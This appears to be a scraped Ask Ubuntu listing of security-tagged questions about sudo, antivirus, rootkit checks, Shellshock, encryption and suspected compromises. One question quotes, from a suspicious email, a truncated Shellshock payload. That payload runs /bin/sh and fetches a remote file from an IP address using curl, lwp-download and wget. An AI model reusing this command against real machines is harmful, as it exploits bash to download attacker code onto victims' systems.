Security covers a wide-ranging set of topics including Users, Permissions, Authentication, Authorisation, Upgrades, Firewalling, Hardening, etc.

learn more… | top users | synonyms

1
vote
2answers
25 views

Is there a way I can password protect a folder without encrypting/compressing?

I have got a folder that contains private stuff and I don't want others to be able to see its content. I will frequently open it and the folder is quite large. I know I can password protect it by ...
4
votes
1answer
46 views

How do I allow a user to only run the apt-get update command with sudo?

I cannot figure out how to allow a user (in this case test) to only be able to run the apt-get update command with the sudoers file. When ever I try to add the user and then test it out it still does ...
2
votes
1answer
9 views

Priority field in CVE pages on http://people.ubuntu.com/~ubuntu-security/cve/CVE-XXXX

On http://people.ubuntu.com/~ubuntu-security/ security patches for packages are announced and correlated with the corresponding CVE from Mitre. I just wonder, how the "Priority" is set. For ...
1
vote
1answer
169 views

Security of Ubuntu flavours, especially Kubuntu

Does Kubuntu gets the same level of OS security as Ubuntu with the Unity desktop? Does Ubuntu developers offer special security updates to the unity desktop, or security is only dependent on the ...
11
votes
4answers
23k views

What antivirus programs are available?

What antivirus programs are available for Ubuntu? We previously used Symantec Endpoint Protection but it does not work in Ubuntu.
12
votes
1answer
693 views

How to deal with malware on my laptop?

I am fairly certain that my Ubuntu 13.10 laptop is infected with some sort of malware. Every once in a while, I find a process /lib/sshd (owned by root) running and consuming lots of cpu. It is not ...
-1
votes
0answers
18 views

Where can I study linux, In and out? [on hold]

My team and I will soon begin studying and practicing for the nationwide Cyber Patriot program. As I'm famed for being out 'Linux guy' I would really begin to improve my knowledge on the subject. Does ...
2
votes
1answer
259 views

PUA.Win.Exploit.CVE_2012_0110 FOUND

I recently scanned my system with (I am running the latest version of ClamAV and my definitions are up-to-date): sudo clamscan -r --detect-pua --infected --bell / And this one was of the results: ...
0
votes
0answers
95 views

Email to () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt; [on hold]

I got an Email with this Details and do not know what it means From: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget ...
3
votes
2answers
68 views

Are there any security issues with making my /etc/sudoers publicly readable?

I've recently started to use my GitHub account as a way to synchronize my various config files across computers, including my /etc/sudoers. Are there any security vulnerabilities that this exposes? ...
10
votes
1answer
872 views

Precautionary security measures for a home user? (firewall, antivirus, etc)

I just recently made the switch from Windows to Ubuntu, and I'm just a little paranoid when it comes to security measures. I've looked around and from what I've read, security is not as big a concern ...
0
votes
0answers
21 views

Has Ubuntu adopted the wont fix issue on coreutils? [closed]

Lcap was recently removed from Debian with Jessie and I am wondering if the Ubuntu team is taking the stance that "root is God and has no other God before root" or whether system security is supposed ...
11
votes
2answers
171 views

Do I need to install Security updates for Ubuntu base?

I installed Lubuntu 14.04 LTS from a disc and have added updates.System info shows 14.04.2 LTS. Software updater >security updates offers Ubuntu base 103MB. Do I need to install this?
1
vote
0answers
25 views

Upgrade, unable to boot [closed]

I've just done a regular upgrade on my system. I restarted my computer and Ubuntu won't load. All I've got is a small blue window that says HDD has been blocked by the current security ...
3
votes
0answers
20 views

Find Kali Security tester tools after installation

I'm a 'beginner' with Ubuntu. I tried it already a few times. I also tried Kali, etc already. I think Ubuntu is very useful, and has many possiblities. But I missed one thing from Kali. The Security ...
2
votes
1answer
15 views

Does Kubuntu have GPG keys?

Does a Kubuntu have a GPG keys to prove the authenticity of OS image? I saw the Ubuntu have, but didn't see anything for [K]ubuntu.
2
votes
1answer
19 views

Can PGP keys in Ubuntu be replaced?

If some attackers compromised an ISO image of Ubuntu and replaced inner PGP keys , then I will not to able get & install security updates. Is it right? I'm asking it because I possible may meet ...
0
votes
3answers
239 views

Run rkhunter regularely on a desktop system

I want to get a warning on my desktop when rkhunter finds something odd on my system. I whitelisted some files and dirs that seem ok in /etc/rkhunter.conf so I get no warnings anymore. Now I want to ...
128
votes
5answers
94k views

What is the CVE-2014-6271 bash vulnerability (Shellshock) and how do I fix it?

Recently, there have been news going around regarding "CVE-2014-6271" (See USN-2362-1), which is a vulnerability in Bash. How do I know if I am affected by this, how can I fix it, and why should I ...
0
votes
0answers
10 views

DropbBox suddenly restarted with “Killed” message

I have installed DropBox with: cd ~ && wget -O - "https://www.dropbox.com/download?plat=lnx.x86_64" | tar xzf - And it normally works fine, but today when I was syncing with my online ...
-3
votes
1answer
48 views

need to check if my ubuntu 14.10 has been hacked [closed]

I have a Ubuntu 14.10 machine and I would like to check if my security is OK. I doubt that some one accessed my machine from internet and remotely controlled it. so what are the suitable tools I need ...
1
vote
1answer
16 views

Encrypt second hard disk with same password

I installed Ubuntu 14 LTS with disk encryption (selected during installation). I have two questions: 1- What is encryption algorithm of current encrypted disk? 2- I have a second hard disk and I ...
1
vote
1answer
3k views

Can I install all the hacking tools of KALI on Ubuntu?

I want to know is there any way to install all hacking tools of kali on ubuntu 12.04 ? If yes then pls tell me how ? like sqlmap , nikto , john , aircrack-ng etc . Thanks.
0
votes
2answers
31 views

Was my SSH server compromised? If so, how, and what steps should I take?

I recently enabled ssh access to my machine to work on a group project with my classmates. I read the guide for setting up ssh on ubuntu and tried to follow good security practices. I disabled ...
2
votes
0answers
22 views

What's up with the sudden appearance of .AppleDouble folders all over my filesystem?

Something I have never seen on my Ubuntu machine before now- .AppleDouble folders have appeared in many different folders all over my filesystem. It creeped me out- like someone on a Mac was looking ...
0
votes
1answer
30 views

UFW blocking connection every minute at home [duplicate]

I'm using a router to connect to the internet at home. I used a long password with WPA2/AES, changed the SSID and changed the default password. But strangely, even if I disconnect the router from the ...
0
votes
1answer
48 views

Can an unmounted USB be infected my malware?

Yesterday, I went on a dark creepy site whose js freezed my system/firefox (Ubuntu 14.04 up to date, Firefox 37.0.1 up to date). Now I tried, from the same system, to find any malware with: sudo ...
0
votes
0answers
15 views

Tiger Warns and Alerts

I am using Plesk 11 and have installed Fail2Ban, RKHaunter and Tiger. Tiger and Fail2Ban sends me emails, but Tiger shows a lot of warnings and alerts. # Checking for known intrusion signs... # ...
1
vote
1answer
42 views

Why the attack's ip address has a string 'dia'

This is a record from netstat –lnt | grep ^tcp: tcp 0 0 xx.xxx.xx.72:ssh 106.49.174.61.dia:55983 ESTABLISHED "x" is hidden by me :) my questions are: why does the address have ...
1
vote
2answers
24 views

Is an application in Ubuntu allowed to open other applications if it does not have elevated privileges?

Let's assume an application in Ubuntu is compromised. Since, by default, downloaded applications do not have root privileges, no major damage can occur. The worst a malicious hacker can possibly do ...
0
votes
1answer
47 views

Automatically installing security updates on desktop system more than once per day

I see that the GUI configuration for update-manager has a maximum check interval of once per day. I'm sure Canonical thought about this carefully, but these days I don't want to be without a ...
1
vote
0answers
41 views

Start programming [closed]

I am a beginner ubuntu user, and I am interested in learning a programming language. My demands are that I would like it to help me master the command line, and be a good base voor learning future ...
-10
votes
2answers
671 views

I think my PC is being hacked. What should I do? [closed]

I'm afraid I'm being hacked: My Ubuntu is receiving inbound traffic while my PC is disconnected from Ethernet and WIFI, so my question is, how am I receiving inbound traffic? I even have a firewall ...
8
votes
2answers
3k views

How can one unlock a fully encrypted Ubuntu 11.10 system over SSH at boot?

In previous versions of Ubuntu, and current versions of Debian, you can unlock a fully encrypted system (using dmcrypt and LUKS) at boot time over SSH. It was as easy as: Installing the encrypted ...
2
votes
1answer
23 views

OSSEC HIDS reports “Interface entered in promiscuous(sniffing) mode”

I have installed the latest version of OSSEC HIDS (2.8.1), and I keep now getting these email notifications from it: OSSEC HIDS Notification. 2015 Apr 08 11:26:17 Received From: ...
0
votes
1answer
57 views

someone is using may sendmail to spam other

I have an Ubuntu (14.04.1 LTS) install on AWS with sendmail. I keep getting messages from mail servers that are unable to deliver some of my messages (I did not send) and all are about sex. So I ...
0
votes
1answer
14 views

gnuPG encrypt and decrypt folder

I use this command to compress and encrypt a directory: tar zcvf - /tmp/directory | gpg -c > /tmp/directory.tar.gz.gpg What is the command to decrypt and unpack at the same time?
1
vote
1answer
58 views

How do I prevent webcam hacks [closed]

I have read on many websites that there is an increasing number of attacks on webcams, based on viruses and similar software that allow third parties to gain control of the webcam of an attacked ...
8
votes
2answers
5k views

how to install KeePassX 2.0 Alpha on ubuntu

On the KeePassX site there is only a Linux version 0.4.3 for download. how can I install the latest version on Ubuntu? The problem is, that Version 0.4 is basically unmaintained. see: ...
-2
votes
3answers
37 views

Does Ubuntu accept purely random incoming connections outside the LAN by default (meaning ufw is disabled)? [closed]

By "purely random," I mean that the connection was not initiated by the Ubuntu user. EDIT: For example, think of a malicious SSH connection from a source outside the LAN.
0
votes
1answer
20 views

OSSEC user accounts disabled

I have recently installed OSSEC (2.8.1), and during the installation I noticed that it created some extra user accounts. But when viewing those user accounts in my System Settings > User Accounts ...
1
vote
2answers
70 views

permanent terminal with root [closed]

Is it bad to have at all times (one) terminal logged in as root? If so, why? (I leave the window with root terminal usually opened because it's much more comfortable than writing sudo before ...
0
votes
1answer
42 views

How to get a program to startup at start if it requires sudo to start

I have got a program which to start needs to be started with sudo, but as it would be very useful for this program to start up at startup without me having to manually start it, is there a way to get ...
6
votes
2answers
140 views

Why doesn't chkrootkit test syslogd?

When I scan my machine with chkrootkit I notice that it always says for one of them: Checking `syslogd'... not tested Why is this not tested for? Should this ...
0
votes
2answers
65 views

Ubuntu 14.04 LTS - Why can User bypass password at Unity Login?

We've had Ubuntu on my wife's computer at home for several years now and as far as I am aware, she has always had to use her password to login. However, a couple of days ago, she pointed out to me ...
0
votes
4answers
50 views

can someone remotely access your ubuntu user account on your computer if they steal your ubuntu username and password

I would like to know if it is possible for someone who steals your ubuntu username and password to remotely access your ubuntu user account on your computer and even see what you are doing when you ...
49
votes
6answers
20k views

What is the best way to restrict access to adult content?

I bought my kids a PC and installed 12.04 (Unity) on it. The bottom line is, I want my children to use the computer unsupervised while I have confidence they cannot access anything inappropriate. ...
22
votes
3answers
13k views

How to block internet access for wine applications?

How can one prevent specific or any wine applications from accessing the internet? When using certain applications under Windows, they were trying to access the internet from time to time without ...
0
votes
2answers
18 views

Installed version 12.04 and it worls. Do I really need a new version…?

I was unable to install 14.04 and need not receive assistance with solving it; there, I was able to install 12.04. But, I was advised to install 14.01/14.10. Do I really need to install a newer ...
11
votes
3answers
5k views

How to prevent system applications (like the Software Center) from asking for password?

I'd like Software Center, Update Manager and some other system management applications to work without asking for password (like sudo does if configured with NOPASSWD) but only asking for a ...